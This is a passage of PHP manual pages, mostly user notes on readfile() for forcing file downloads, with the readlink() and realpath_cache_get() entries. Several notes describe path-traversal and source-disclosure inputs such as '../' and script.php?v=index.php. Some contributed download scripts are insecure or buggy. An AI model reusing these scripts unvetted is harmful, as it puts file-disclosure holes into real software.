2) If you output anything (e.g. white space) after the readfile function (by mistake), the browser will add that to the end of the download, resulting in corrupt data.

The easiest way to disable this behaviour is with the following .htaccess directive.

SetEnv no-gzip dont-vary
david at elocal dot co dot uk 08-Dec-2009 02:09
If you are trying the example given in the manual and are getting invalid files, then it is probably because your server is set to display notices and ob_clean() is outputting one at the start of the file, corrupting it.

As a starting point, you can try turning off all error reporting for this script by using error_reporting(0) at the start of your PHP file...
<?php
error_reporting(0);

// rest of example goes here
?>
sakai at d4k dot net 23-Apr-2009 05:25
To reduce the burden on the server, you might want to output "Etag" and/or "Last-Modified" on http response header.  But there are some headers, which PHP itself outputs automatically, disturbing this.  So I wrote this function with erasing these.

If you guys know how to judge the return values of function "stat", in order to avoid using "is_file" or "is_readable" (or "is_dir"), please let me know or just write it here.

If you don't have to do anything special on 404, "header('HTTP/1.x xxx xxxxx');" can be inside of the function.

<?php

$filename = '/foo/bar/myfeed.rss';
$http_stat_code = readfile_if_modified($filename, array('Content-Type: text/xml'));
switch($http_stat_code) {
case 404:
    header('HTTP/1.0 404 Not Found');
    echo '<html><head></head><body><a href="http://example.com/">http://example.com/<a></body></html>';
    exit;
default:
    header('X-System-Url: http://example.com/', true, $http_stat_code);
}

function readfile_if_modified($filename, $http_header_additionals = array()) {

    if(!is_file($filename)) {
//      header('HTTP/1.0 404 Not Found');
        return 404;
    }

    if(!is_readable($filename)) {
//      header('HTTP/1.0 403 Forbidden');
        return 403;
    }

    $stat = @stat($filename);
    $etag = sprintf('%x-%x-%x', $stat['ino'], $stat['size'], $stat['mtime'] * 1000000);

    header('Expires: ');
    header('Cache-Control: ');
    header('Pragma: ');

    if(isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == $etag) {
        header('Etag: "' . $etag . '"');
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    } elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $stat['mtime']) {
        header('Last-Modified: ' . date('r', $stat['mtime']));
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    }

    header('Last-Modified: ' . date('r', $stat['mtime']));
    header('Etag: "' . $etag . '"');
    header('Accept-Ranges: bytes');
    header('Content-Length:' . $stat['size']);
    foreach($http_header_additionals as $header) {
        header($header);
    }

    if(@readfile($filename) === false) {
//      header('HTTP/1.0 500 Internal Server Error');
        return 500;
    } else {
//      header('HTTP/1.0 200 OK');
        return 200;
    }

}

?>
aks dot gandhi at gmail dot com 13-Apr-2009 03:16
Files were not opening in my windows vista system after I download it from my website.

File size were fine.
But I marked that dimensions and resolution information was not ther in file properties ( I basically compared same .jpg files)

Problem was: I was using readfile() fuction with few header properties set.( Most of the examples online do not use all the header properties before readfile() function)

I used all the properties stated here and now i am able to open files

:)

Following examples online took my 4 hrs to fix this small problem.
rmatakajr at gmail dot com 28-Jan-2009 12:25
Here is my version of readfile_chunked
you can make it act like file() or file_get_contents()
by using the type arg

<?php
    function readfile_chunked ($filename,$type='array') {
      $chunk_array=array();
      $chunksize = 1*(1024*1024); // how many bytes per chunk
      $buffer = '';
      $handle = fopen($filename, 'rb');
      if ($handle === false) {
       return false;
      }
      while (!feof($handle)) {
          switch($type)
          {
              case'array':
              // Returns Lines Array like file()
              $lines[] = fgets($handle, $chunksize);
              break;
              case'string':
              // Returns Lines String like file_get_contents()
              $lines = fread($handle, $chunksize);
              break;
          }
      }
       fclose($handle);
       return $lines;
    }
?>
Dr. Gianluigi &#34;Zane&#34; Zanettini, CEO[MLI] 29-Oct-2008 10:40
If the client shows "unknown filesize" in the dialog when downloading a file provided via readfile, you'd better check if mod_deflate, mod_gzip, mod_something-that-shrinks-http is installed on your server, and put an exception for your gateway page. Read more here: http://snipurl.com/4th3a
levhita at gmail dot com 21-Oct-2008 12:59
A note on the smartReadFile function from gaosipov:

Change the indexes on the preg_match matches to:

      $begin = intval($matches[1]);
      if( !empty($matches[2]) ) {
        $end = intval($matches[2]);
      }

Otherwise the $begin would be set to the entire section matched and the $end to what should be the begin.

See preg_match for more details on this.
gaosipov at gmail dot com 09-Oct-2008 02:08
Send file with HTTPRange support (partial download):

<?php
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
  { header ("HTTP/1.0 404 Not Found");
    return;
  }

  $size=filesize($location);
  $time=date('r',filemtime($location));

  $fm=@fopen($location,'rb');
  if(!$fm)
  { header ("HTTP/1.0 505 Internal server error");
    return;
  }

  $begin=0;
  $end=$size;

  if(isset($_SERVER['HTTP_RANGE']))
  { if(preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches))
    { $begin=intval($matches[0]);
      if(!empty($matches[1]))
        $end=intval($matches[1]);
    }
  }

  if($begin>0||$end<$size)
    header('HTTP/1.0 206 Partial Content');
  else
    header('HTTP/1.0 200 OK');

  header("Content-Type: $mimeType");
  header('Cache-Control: public, must-revalidate, max-age=0');
  header('Pragma: no-cache');
  header('Accept-Ranges: bytes');
  header('Content-Length:'.($end-$begin));
  header("Content-Range: bytes $begin-$end/$size");
  header("Content-Disposition: inline; filename=$filename");
  header("Content-Transfer-Encoding: binary\n");
  header("Last-Modified: $time");
  header('Connection: close');

  $cur=$begin;
  fseek($fm,$begin,0);

  while(!feof($fm)&&$cur<$end&&(connection_status()==0))
  { print fread($fm,min(1024*16,$end-$cur));
    $cur+=1024*16;
  }
}
?>

Usage:

<?php
smartReadFile("/tmp/filename","myfile.mp3","audio/mpeg")
?>

It can be slow for big files to read by fread, but this is a single way to read file in strict bounds. You can modify this and add fpassthru instead of fread and while, but it sends all data from begin --- it would be not fruitful if request is bytes from 100 to 200 from 100mb file.
davedx at gmail dot com 06-Oct-2008 02:29
There's a problem with the session mutex and file handling in PHP that can cause deadlocks and php to fail @ maximum execution time.

This includes any kind of exec flavour, and also readfile. We had a problem where if the user tried to download a file from our server that was sent with readfile, but then cancelled and retried straight away, php would freeze and time out. The solution was to end_session() before sending the file, this fixed it.
johniskew 26-Sep-2008 12:17
@marks suggestion-

That is one way to do it, however this is avoidable.  For example in Zend Framework you could do

<?php

// Action controller
public function someAction() {

    $response = $this->_response;

    // Disable view and layout rendering
    $this->_helper->viewRenderer->setNoRender();
    $this->_helper->layout()->disableLayout();

    // Process the file
    $file = 'whatever.zip';
    $bits = @file_get_contents($file);
    if(strlen($bits) == 0) {
        $response->setBody('Sorry, we could not find requested download file.');
    }
    else {
        $response->setHeader('Content-type', 'application/octet-stream', true);
        $response->setBody($bits);
    }
}

?>
mark at shust dot com 17-Sep-2008 12:40
When using readfile with Zend Framework (or any other popular MVC for that matter), you must not follow the built-in httpEquiv or view pattern but rather write your own php to get readfile to work. You must also include a call to 'die' otherwise the script will continue following the MVC pattern and readfile will produce errors. This is not the fault of readfile, but the fault of the current MVC frameworks.

Here is a sample action that retrieves and displays a prompt box (open/save) for a specific pdf.

<?php
    public function fddAction()
    {
        // get attachment location
        $attachment_location = $_SERVER["DOCUMENT_ROOT"] . "/pdf/fdd/sample.pdf";

        if (file_exists($attachment_location)) {
            // attachment exists

            // send open/save pdf dialog to user
            header('Cache-Control: public'); // needed for i.e.
            header('Content-Type: application/pdf');
            header('Content-Disposition: attachment; filename="sample.pdf"');
            readfile($attachment_location);
            die(); // stop execution of further script because we are only outputting the pdf

        } else {
            die('Error: File not found.');
        }
    }
?>
paul dot worlton at convergint dot com 07-Aug-2008 08:57
Had a problem using PHP4.3 with IE7 not initiating the download.  Discovered that my content-type header was being replaced with "document\text".  Was able to resolve the problem by moving the content-type header to the top of the header list.
jtgrant at gmail dot com 28-Jul-2008 01:46
FIREFOX will recognize an absolute HTTP://www.site.com/path/file.pdf
OTHER BROWSERS WILL NOT.
use relative: 'path/file.pdf'

for downloading files/pdfs:

make certain to check
if(file_exists($file)){header('Content-Disposition: attachment; filename="'.basename($file).'"');}

else{echo "$file not found";}

- This can be frustrating when your downloads are working in Firefox , but  not other browsers.  Best to check if file exists first because that will let you know if it's going to work all around.
william [aht] expostfacto [dawht] se 18-Jun-2008 04:59
Response to : antispam [at] rdx page [dot] com
20-Sep-2005 02:14 - Regarding the bod_bw apache module for limiting download speed and readfile;

If you use readfile to, say, pseduo stream mp3's or such, you can, at least with mod_bw 0.7, specify the php file that handles the readfile and limit bandwidth that way.

Example VirtualHost;

<VirtualHost *:80>
BandwidthModule On
ForceBandWidthModule On
LargeFileLimit theStreamFile.php 1 25000

...

</VirtualHost>

This would throttle all files that gets sent via theStreamFile.php to 25 kb/sek. Works like a champ. Tested on CentOS 5.
yura_imbp at mail dot ru 05-Jun-2008 09:46
if you need to limit download rate, use this code

<?php
$local_file = 'file.zip';
$download_file = 'name.zip';

// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;
if(file_exists($local_file) && is_file($local_file))
{
    header('Cache-control: private');
    header('Content-Type: application/octet-stream');
    header('Content-Length: '.filesize($local_file));
    header('Content-Disposition: filename='.$download_file);

    flush();
    $file = fopen($local_file, "r");
    while(!feof($file))
    {
        // send the current file part to the browser
        print fread($file, round($download_rate * 1024));
        // flush the content to the browser
        flush();
        // sleep one second
        sleep(1);
    }
    fclose($file);}
else {
    die('Error: The file '.$local_file.' does not exist!');
}

?>
saidketchman at gmail dot com 19-Apr-2008 05:06
Well I have a solution for anyone who may have had the same problem as I did.  Basically the problem was that when trying to use external urls in readfile, or in general trying to use the http:// prefix, only a file placeholder would download in Internet Explorer 7 and Safari (and possibly other browsers with the exception of Firefox).

So basically this is the how I solved the problem.  If you are using the code for the Content-Length:

header("Content-Length: ".filesize($filepath));

Then this is the issue.  I don't know if it is with only certain servers, but in my case Internet Explorer couldn't get a filesize so it decided to not download any of the file.

The solution was to simply remove this line and give it no filesize and then the browsers would download the whole file.
saidketchman at gmail dot com 17-Apr-2008 12:19
I'm having an issue with browers except FireFox 2.

I'm trying to use my download script to download from external URLs.  Firefox handles it fine and downloads the file but Internet Explorer 7 and Safari 2 only download a placeholder (empty) file.

Any ideas why I can't handle the external URLs?  I can swear it was working fine before but then out of no where a user emailed me saying it wasn't working anymore.

This is my code (with a bunch of headers added from posts here):

# Set Format Type
if ($audioformat == "wma")
{
    header('Content-type: audio/x-ms-wma');
}
else if ($audioformat == "mp3")
{
    header('Content-type: audio/mpeg');
}

$fullpath = $audiopath .$artist. '/' .$filename;

# header info for download
header('Content-Length: ' . filesize($fullpath));
header('Content-Disposition: attachment; filename="' . $filename. '"');
header('Content-Transfer-Encoding: binary');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');

header('Expires: 0');
header('Content-Description: Quran Download');
ob_clean();
flush();

# begin download
readfile($fullpath) or die("error!");
exit;
marro at email dot cz 19-Mar-2008 11:17
My script working correctly on IE6 and Firefox 2 with any typ e of files (I hope :))

function DownloadFile($file) { // $file = include path
        if(file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename='.basename($file));
            header('Content-Transfer-Encoding: binary');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            ob_clean();
            flush();
            readfile($file);
            exit;
        }

    }

Run on Apache 2 (WIN32) PHP5
uisluu at gmail dot com 19-Mar-2008 12:33
If you still encounter problems, downloading some types of binary files (.doc, .zip, .xls etc.) such as corrupted bytes (esp. NUL(0x00) bytes replaced by spaces(0x20)) with readfile(), consider the following replacement for use with download.php?file=somefile.ext

<?php
$downloadFolder = '/download/';

if ( !preg_match( '/^(\w)+\.(?!php|html|htm|shtml|phtml)[a-z0-9]{2,4}$/i', $_GET['file'] ) )    {

    error_log( "USER REQUESTed for:\t".$_GET['file'] );
    die;
};

$filename = ROOT.$downloadFolder.$_GET['file'];

if ( !file_exists($filename) )    {
    echo "No file here. [<a href='javascript:self.close();'>close</a>]";
    error_log( "USER REQUESTed for non-existing file:\t".$_GET['file'] );
    exit;
};

$string = 'Location: '.HOST.$downloadFolder.$_GET['file'];
header($string);

exit;
?>
TimB 11-Feb-2008 02:23
To anyone that's had problems with Readfile() reading large files into memory the problem is not Readfile() itself, it's because you have output buffering on. Just turn off output buffering immediately before the call to Readfile(). Use something like ob_end_flush().
lcampanis.com 31-Oct-2007 01:55
If you are trying to force a download from a script and you're having corrupted files, but the download was successful, just make sure you don't have spaces or news lines before and/or after <? script ?>

You can check this by opening your download with a text editor. If you see empty lines or spaces at the top, then that's the problem.
Hayley Watson 17-Oct-2007 09:27
To avoid the risk of choosing themselves which files to download by messing with the request and doing things like inserting "../" into the "filename", simply remember that URLs are not file paths, and there's no reason why the mapping between them has to be so literal as "download.php?file=thingy.mpg" resulting in the download of the file "thingy.mpg".

It's your script and you have full control over how it maps file requests to file names, and which requests retrieve which files.

But even then, as ever, never trust ANYTHING in the request. Basic first-day-at-school security principle, that.
Sohel Taslim 02-Aug-2007 02:44
If you use session and Secure Site(SSL- Secure Sockets Layer) to download files using PHP function readfile(), You can get an error message for Inetrnet Explorer (IE).
To avoid this problem try following function.
Hope it can help you. By, sohel62 at yahoo dot com.

<?php

session_cache_limiter('none'); //*Use before session_start()
session_start();

$file = 'ASDFGgg.pdf';
_Download("files_dir/".$file, $file);

function _Download($f_location,$f_name){
     header ("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Length: ' . filesize($f_location));
    header('Content-Disposition: attachment; filename=' . basename($f_name));
    readfile($f_location);
 }

?>
hamdiya dot dev at gmail dot com 17-Jul-2007 09:41
Using FTP is also possible with readfile.

readfile('ftp://'.$ftp_user.':'.$ftp_pass.'@'.$ftp_host.'/'.$file);
Sinured 17-Jul-2007 06:00
In response to "grey - greywyvern - com":

If you know the target _can't_ be a remote file (e.g. prefixing it with a directory), you should use include instead.
If the user manages to set the target to some kinda config-file (configuration.php in Joomla!), he will get a blank page - unless readfile() is used. Using include will just behave as a normal request (no output).
For remote files however use readfile().
Kniht 07-Jul-2007 11:27
@Elliott Brueggeman
What's the point of a user's settings if not to determine their environment? If they have it set a specific way, honor their setting.
Elliott Brueggeman 25-Jun-2007 08:47
I have noticed some unusual behavior with Internet Explorer 6 that’s worth taking note of. I have a link on my site to a script that outputs an XML file to the browser with the below code:

header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$filename.'"');
@readfile($file);

When the popular IE setting “Reuse Window for Launching Shortcuts” is unchecked (access this setting in the Tools Menu > Internet Options > Advanced Tab) this script will output the file to the browser and open it in a different window if the user clicks the open button on the IE prompt. However, if this setting is checked, and browser windows are being re-used, then it will open up on top of the page where the link was clicked to access the script.

If I instead set the html link target option to be “_blank”, the script will open up in a new window as expected if the “Reuse Window for Launching Shortcuts” is checked. But, if the setting is unchecked, the output XML file will open up in a new window and there will be another blank window also open that has the address of the script, in addition to our original window.

This is far from ideal, and there is no way of knowing whether users have this option checked or not. We are stuck with the distinct possibility of half of our visitors seeing either an annoying third blank window being opened or the script writing over their original window, depending on their “Reuse Window for Launching Shortcuts” setting.
chad 0x40 herballure 0x2e com 17-May-2007 07:53
In reply to herbert dot fischer at NOSPAM dot gmail dot com:

The streams API in PHP5 tries to make things as efficient as possible; in php-5.1.6 on Linux, fpassthru is faster than 'echo fread($fp, 8192)' in a loop, and readfile is even faster for files on disk. I didn't benchmark further, but I'd be willing to bet non-mmap'able streams still win because they can loop in C instead of PHP.
MasterQ at 127 dot 0 dot 0 dot 1 22-Apr-2007 07:40
Do not forgot to call
exit;
after readfile else you will get trouble with the file checksum of the file, because there will be added \n at the end of the script.
mAu 10-Oct-2006 12:25
Instead of using
<?php
header('Content-Type: application/force-download');
?>
use
<?php
header('Content-Type: application/octet-stream');
?>
Some browsers have troubles with force-download.
ericlaw1979 at hotmail dot com 07-Jun-2006 12:18
It is an error to send post-check=0.  See http://blogs.msdn.com/ie/archive/2006/06/01/613132.aspx
irek at eccomes dot de 29-Mar-2006 08:35
Related to francesco at paladinux: HOW TO RESOLVE EXPLORER SAVE PROBLEM IN FORCE-DOWNLOAD.

To use "application/octetstream" instead of "application/octet-stream" may help in some cases. But the solution of this problem in most cases is to use

header ("Cache-Control: must-revalidate, post-check=0, pre-check=0");

See also message of ctemple below. This helps not only for pdf but also generally.
oryan at zareste dot com 26-Nov-2005 07:18
As Grey said below:  Readfile will send users un-executed PHP files, which makes it easy to exploit vulnerabilities.  It's common - and easy - to use GET variables pointing to downloadable files, like script.php?v=web/file.mov , but this lets users to change it to script.php?v=index.php and get damaging info.  Even POST variables can be exploited this way if the user's on a custom browser.

To keep secure, limit downloadable files to one directory, like 'web/', so that script.php?v=file.mov will send web/file.mov, and scan the variable for '..' and 'php' to make sure users can't go into other directories, or open php files you may have stupidly put under web/.  This should cover all the bases.
peavey at pixelpickers dot com 20-Oct-2005 06:38
A mime-type-independent forced download can also be conducted by using:

<?
(...)
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // some day in the past
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Content-type: application/x-download");
header("Content-Disposition: attachment; filename={$new_name}");
header("Content-Transfer-Encoding: binary");
?>

Cheers,

Peavey
planetmaster at planetgac dot com 16-Oct-2005 11:44
Using pieces of the forced download script, adding in MySQL database functions, and hiding the file location for security was what we needed for downloading wmv files from our members creations without prompting Media player as well as secure the file itself and use only database queries. Something to the effect below, very customizable for private access, remote files, and keeping order of your online media.

<?
    # Protect Script against SQL-Injections
    $fileid=intval($_GET[id]);
    # setup SQL statement
    $sql = " SELECT id, fileurl, filename, filesize FROM ibf_movies WHERE id=' $fileid' ";

    # execute SQL statement
    $res = mysql_query($sql);

        # display results
        while ($row = mysql_fetch_array($res)) {
        $fileurl = $row['fileurl'];
        $filename= $row['filename'];
        $filesize= $row['filesize'];

           $file_extension = strtolower(substr(strrchr($filename,"."),1));

           switch ($file_extension) {
               case "wmv": $ctype="video/x-ms-wmv"; break;
               default: $ctype="application/force-download";
           }

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

           header("Pragma: public");
           header("Expires: 0");
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: video/x-ms-wmv");
           header("Content-Type: $ctype");
           header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
           header("Content-Transfer-Encoding: binary");
           header("Content-Length: ".@filesize($filename));
           set_time_limit(0);
           @readfile("$fileurl") or die("File not found.");

}

$donwloaded = "downloads + 1";

    if ($_GET["hit"]) {
        mysql_query("UPDATE ibf_movies SET downloads = $donwloaded WHERE id=' $fileid'");

}

?>

While at it I added into download.php a hit (download) counter. Of course you need to setup the DB, table, and columns. Email me for Full setup// Session marker is also a security/logging option
Used in the context of linking:
http://www.yourdomain.com/download.php?id=xx&hit=1

[Edited by sp@php.net: Added Protection against SQL-Injection]
antispam [at] rdx page [dot] com 20-Sep-2005 02:14
Just a note:  If you're using bw_mod (current version 0.6) to limit bandwidth in Apache 2, it *will not* limit bandwidth during readfile events.
23-Aug-2005 02:39
here is a nice force download scirpt

            $filename = 'dummy.zip';
            $filename = realpath($filename);

            $file_extension = strtolower(substr(strrchr($filename,"."),1));

            switch ($file_extension) {
                case "pdf": $ctype="application/pdf"; break;
                case "exe": $ctype="application/octet-stream"; break;
                case "zip": $ctype="application/zip"; break;
                case "doc": $ctype="application/msword"; break;
                case "xls": $ctype="application/vnd.ms-excel"; break;
                case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
                case "gif": $ctype="image/gif"; break;
                case "png": $ctype="image/png"; break;
                case "jpe": case "jpeg":
                case "jpg": $ctype="image/jpg"; break;
                default: $ctype="application/force-download";
            }

            if (!file_exists($filename)) {
                die("NO FILE HERE");
            }

            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Cache-Control: private",false);
            header("Content-Type: $ctype");
            header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: ".@filesize($filename));
            set_time_limit(0);
            @readfile("$filename") or die("File not found.");
herbert dot fischer at NOSPAM dot gmail dot com 21-Jul-2005 08:01
readfile and fpassthru are about 55% slower than doing a loop with "feof/echo fread".
chrisputnam at gmail dot com 29-Jun-2005 01:44
In response to flowbee@gmail.com --

When using the readfile_chunked function noted here with files larger than 10MB or so I am still having memory errors. It's because the writers have left out the all important flush() after each read. So this is the proper chunked readfile (which isn't really readfile at all, and should probably be crossposted to passthru(), fopen(), and popen() just so browsers can find this information):

<?php
function readfile_chunked($filename,$retbytes=true) {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false) {
       return false;
   }
   while (!feof($handle)) {
       $buffer = fread($handle, $chunksize);
       echo $buffer;
       ob_flush();
       flush();
       if ($retbytes) {
           $cnt += strlen($buffer);
       }
   }
       $status = fclose($handle);
   if ($retbytes && $status) {
       return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;

}
?>

All I've added is a flush(); after the echo line. Be sure to include this!
Hern�n Pereira 17-May-2005 11:21
I saw in previous contributed notes that in content-disposition the file is not a quoted-string, there is no problem if the filename have no spaces but if it has in IE it works but in Firefox not.

The RFC 2616 puts as an example this:
Content-Disposition: attachment; filename="fname.ext"

You can see http://www.faqs.org/rfcs/rfc2616.html section "19.5.1 Content-Disposition" for more details.

The correct header then is this:
header("Content-Disposition: attachment; filename=\"$filename\"");
Philipp Heckel 10-May-2005 04:58
To use readfile() it is absolutely necessary to set the mime-type before. If you are using an Apache, it's quite simple to figure out the correct mime type. Apache has a file called "mime.types" which can (in normal case) be read by all users.

Use this (or another) function to get a list of mime-types:

<?php

    function mimeTypes($file) {
        if (!is_file($file) || !is_readable($file)) return false;
        $types = array();
        $fp = fopen($file,"r");
        while (false != ($line = fgets($fp,4096))) {
            if (!preg_match("/^\s*(?!#)\s*(\S+)\s+(?=\S)(.+)/",$line,$match)) continue;
            $tmp = preg_split("/\s/",trim($match[2]));
            foreach($tmp as $type) $types[strtolower($type)] = $match[1];
        }
        fclose ($fp);

        return $types;
    }

    # [...]

    # read the mime-types
    $mimes = mimeTypes('/usr/local/apache/current/conf/mime.types');

    # use them ($ext is the extension of your file)
    if (isset($mimes[$ext])) header("Content-Type: ".$mimes[$ext]);
    header("Content-Length: ".@filesize($fullpath));
    readfile($fullpath); exit;

?>

If you do not want to read from the mime.types file directly, you can of course make a copy in another folder!
Cheers Philipp Heckel
flobee at gmail dot com 06-May-2005 11:17
regarding php5:
i found out that there is already a disscussion @php-dev  about readfile() and fpassthru() where only exactly 2 MB will be delivered.

so you may use this on php5 to get lager files
<?php
function readfile_chunked($filename,$retbytes=true) {
    $chunksize = 1*(1024*1024); // how many bytes per chunk
    $buffer = '';
    $cnt =0;
    // $handle = fopen($filename, 'rb');
    $handle = fopen($filename, 'rb');
    if ($handle === false) {
        return false;
    }
    while (!feof($handle)) {
        $buffer = fread($handle, $chunksize);
        echo $buffer;
        if ($retbytes) {
            $cnt += strlen($buffer);
        }
    }
        $status = fclose($handle);
    if ($retbytes && $status) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;

}
?>
TheDayOfCondor 27-Apr-2005 06:24
I think that readfile suffers from the maximum script execution time. The readfile is always completed even if it exceed the default 30 seconds limit, then the script is aborted.
Be warned that you can get very odd behaviour not only on large files, but also on small files if the user has a slow connection.

The best thing to do is to use

<?
  set_time_limit(0);
?>

just before the readfile, to disable completely the watchdog if you intend to use the readfile call to tranfer a file to the user.
comicforum at lelon dot net 22-Apr-2005 11:22
The problem with using readfile on large files isn't caused by your memory_limit setting.  Setting it to 4x the size of the file can still cause the file to be truncated.  Use the readfile_chunked found below.
TheDayOfCondor 20-Apr-2005 09:10
Beware - the chunky readfile suggested by Rob Funk can easily exceed you maximum script execution time (30 seconds by default).

I suggest you to use the set_time_limit function inside the while loop to reset the php watchdog.
php at cNhOiSpPpAlMe dot net 21-Feb-2005 06:25
For some reason, readfile seems to reset the file's modified time (filemtime). Using fopen and fpassthru avoids this.

<?
$fp = @fopen($file,"rb");
fpassthru($fp);
fclose($fp);
?>

(PHP version: 4.3.10)
Rob Funk 04-Jan-2005 10:31
When using readfile() with very large files, it's possible to run into problems due to the memory_limit setting; apparently readfile() pulls the whole file into memory at once.

One solution is to make sure memory_limit is larger than the largest file you'll use with readfile().  A better solution is to write a chunking readfile.  Here's a simple one that doesn't exactly conform to the API, but is close enough for most purposes:

<?php
function readfile_chunked ($filename) {
  $chunksize = 1*(1024*1024); // how many bytes per chunk
  $buffer = '';
  $handle = fopen($filename, 'rb');
  if ($handle === false) {
    return false;
  }
  while (!feof($handle)) {
    $buffer = fread($handle, $chunksize);
    print $buffer;
  }
  return fclose($handle);
}
?>
Justin Dearing 29-Dec-2004 03:38
Word for word copy of a comment on session_start() posted by Kevin. Might be relevant here.

If you're having a problem with a file download script not working with IE if you call session_start() before sending the file, then try adding a session_cache_limiter() call before session_start().

I use session_cache_limiter('none'), but 'public' and 'private' seem to fix the problem too; use whichever suits your application.
grey - greywyvern - com 29-Dec-2004 08:29
readfile() makes a handy include for what you know should be plain HTML or text.  Sloppy and/or lazy scripters can introduce security risks when using include() and require() in such a way that users can tell the script what file(s) to include.  This is because the PHP code contained in any file they refer to is executed with PHP's privledges.

With readfile(), any PHP code is passed to the output buffer as-is, without being executed.
ctemple at n-able dot com 15-Nov-2004 12:12
If you're passing files through a script, you may want to include this header:

        header ("Cache-Control: must-revalidate, post-check=0, pre-check=0");

Otherwise, some programs such as Adobe Reader may have problems opening files directly.

<?php
        header ("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header ("Content-Type: application/octet-stream");
        header ("Content-Length: " . filesize($theFile));
        header ("Content-Disposition: attachment; filename=$theFileName");
        readfile($theFile);
?>
Thomas Jespersen 25-Oct-2004 06:06
Remember if you make a "force download" script like mentioned below that you SANITIZE YOUR INPUT!

I have seen a lot of  download scripts that does not test so you are able to download anything you want on the server.

Test especially for strings like ".." which makes directory traversal possible. If possible only permit characters a-z, A-Z and 0-9 and make it possible to only download from one "download-folder".
flobee at gmail dot com 04-Oct-2004 05:33
you may try the statemants below with
header("Content-Type: application/octet-stream");
// insteat OF: header('Content-Type: application/force-download');
MAC OSX / IE: has problems to find the right mime type and do not accept spaces in filenames. then all plattforms should work
nobody at localhost 23-Sep-2004 02:03
If you want to force a download:

<?php
$file = '/var/www/html/file-to-download.xyz';
header('Content-Description: File Transfer');
header('Content-Type: application/force-download');
header('Content-Length: ' . filesize($filename));
header('Content-Disposition: attachment; filename=' . basename($file));
readfile($file);
?>
kschenke at datafreight dot com 15-Oct-2003 09:43
If your site visitors are having problems with Internet Explorer downloading files over an SSL connection, see the manual page for the session_cache_limiter() function.
popen
readlink
Filesystem Functions


Returns the target of a symbolic link

readfile
realpath_cache_get
Filesystem Functions
PHP Manual

readlink

(PHP 4, PHP 5)

readlink — Returns the target of a symbolic link

Description

string readlink ( string $path )

readlink() does the same as the readlink C function.

Parameters

path

The symbolic link path.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Return Values

Returns the contents of the symbolic link path or FALSE on error.

Examples

Example #1 readlink() example

<?php

// output e.g. /boot/vmlinux-2.4.20-xfs
echo readlink('/vmlinuz');

?>

See Also

  • is_link() - Tells whether the filename is a symbolic link
  • symlink() - Creates a symbolic link
  • linkinfo() - Gets information about a link

User Contributed Notes

mookowg at gmail dot com 02-Dec-2010 04:36
In case anyone was getting confused:
     This is NOT the coreutil "readlink".

realpath("./path/of/file") is equivalent to readlink -e ./path/of/file
which FYI i think is a terrible design choice choice, since the functionality
of readline -f is hard to mimic, but readline -e is NOT
MarkAndrewSlade at gmail dot com 10-Jun-2009 12:35
This will trigger a warning and return false if you pass it a non-symlink.  If the file doesn't exist, it will trigger a differently worded warning.

mslade@jupiter ~$ touch a
mslade@jupiter ~$ ln -s a b
mslade@jupiter ~$ ls -l {a,b}
-rw------- 1 mslade mslade 0 2009-06-10 15:27 a
lrwxrwxrwx 1 mslade mslade 1 2009-06-10 15:27 b -> a
mslade@jupiter ~$ php -r "var_dump(readlink('b'));"
string(1) "a"
mslade@jupiter ~$ php -r "var_dump(readlink('a'));"

Warning: readlink(): Invalid argument in Command line code on line 1
bool(false)
mslade@jupiter ~$ php -r "var_dump(readlink('c'));"

Warning: readlink(): No such file or directory in Command line code on line 1
bool(false)
readfile
realpath_cache_get
Filesystem Functions


Get realpath cache entries

readlink
realpath_cache_size
Filesystem Functions
PHP Manual

realpath_cache_get

(PHP 5 >= 5.3.2)

realpath_cache_get — Get realpath cache entries

Description

array realpath_cache_get ( void )

Get the contents of the realpath cache.

Return Values

Returns an array of realpath cache entries. The keys are original path entries, and the values are arrays of data items, containing the resolved path, expiration date, and other options kept in the cache.

Examples

Example #1 realpath_cache_get() example

<?php
var_dump(realpath_cache_get());
?>

The above example will output something similar to:

array(2) {
  ["/test"]=>
  array(4) {
    ["key"]=>
    int(123456789)
    ["is_dir"]=>
    bool(true)
    ["realpath"]=>
    string(5) "/test"
    ["expires"]=>
    int(1260318939)
  }
  ["/test/test.php"]=>
  array(4) {
    ["key"]=>
    int(987654321)
    ["is_dir"]=>
    bool(false)
    ["realpath"]=>
    string(12) "/root/test.php"
    ["expires"]=>
    int(1260318939)
  }
}

See Also

  • realpath_cache_size() - Get realpath cache size

User Contributed Notes

There are no user contributed notes for this page.
readlink
realpath_cache_size
